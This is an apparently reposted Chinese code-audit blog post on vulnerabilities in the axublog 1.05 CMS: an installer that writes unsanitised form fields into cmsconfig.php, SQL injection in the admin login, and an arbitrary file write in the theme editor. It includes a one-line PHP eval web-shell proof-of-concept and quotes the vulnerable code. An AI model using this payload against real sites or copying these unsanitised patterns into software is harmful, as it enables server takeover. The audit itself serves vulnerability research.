【代码审计】axublog 1.05最新漏洞集合

颓废 2019年5月19日09:56:29评论515 views字数 2110阅读7分2秒阅读模式
摘要

install/cmsconfig.php

00x1 安装漏洞

install/cmsconfig.php

function step4(){ $root=$_POST["root"]; $dbuser=$_POST["dbuser"]; $dbpsw=$_POST["dbpsw"]; $dbname=$_POST["dbname"]; $tabhead=$_POST["tabhead"];  $ad_user=$_POST["ad_user"]; $ad_psw=$_POST["ad_psw"];  $webname=$_POST["webname"]; $weburl=$_POST["weburl"]; $webinfo=$_POST["webinfo"]; $webkeywords=$_POST["webkeywords"]; $webauthor=$_POST["webauthor"];

这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。

$file="config_empty.php"; $fp=fopen($file,"r"); //以写入方式打开文件 $text2=fread($fp,4096); //读取文件内容 $text2=str_replace('@root@',$root,$text2); $text2=str_replace('@dbuser@',$dbuser,$text2); $text2=str_replace('@dbpsw@',$dbpsw,$text2); $text2=str_replace('@dbname@',$dbname,$text2); $text2=str_replace('@tabhead@',$tabhead,$text2); $text2=str_replace('@webname@',$webname,$text2); $text2=str_replace('@weburl@',$weburl,$text2); $text2=str_replace('@webinfo@',$webinfo,$text2); $text2=str_replace('@webkeywords@',$webkeywords,$text2); $text2=str_replace('@webauthor@',$webauthor,$text2); $file="../cmsconfig.php"; //定义文件 $fp=fopen($file,"w"); //以写入方式打开文件 fwrite($fp,$text2);  @unlink("goinstall.php");

这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。

POC:

"@eval($_POST['xishaonian'])

然后菜刀直接连接就cmsconfig.php即可。

注:该漏洞也在后台直接可以插一句话
 00x2 SQL注入

 ad/admin.php

chkoutpost(); $ad_user=$_POST["ad_user"]; $ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',0);  global $tabhead; $tab=$tabhead."adusers"; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");

很简答可以看到$ad_user没有过滤。直接性导致sql注入。

<?php  function edit2save(){ global $themepath; ?> <div class="yj_green" id=full> <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b> <div class="boxcontent"> <h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2> </div> <div class="t1"><div class="t2"> <?php $path=$_REQUEST['path']; $content=stripslashes($_REQUEST['content']); ?> <p>编辑文件:<?=$path?></p> <?php if($path==''){echo'文件路径错误!';exit;}  if(file_put_contents ($path, $content)){echo"保存文件成功!";}  else{echo"保存文件失败!";} ?>  </div></div> <b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b> </div>

访问原文

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日09:56:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】axublog 1.05最新漏洞集合http://cn-sec.com/archives/68368.html

发表评论

匿名网友 填写信息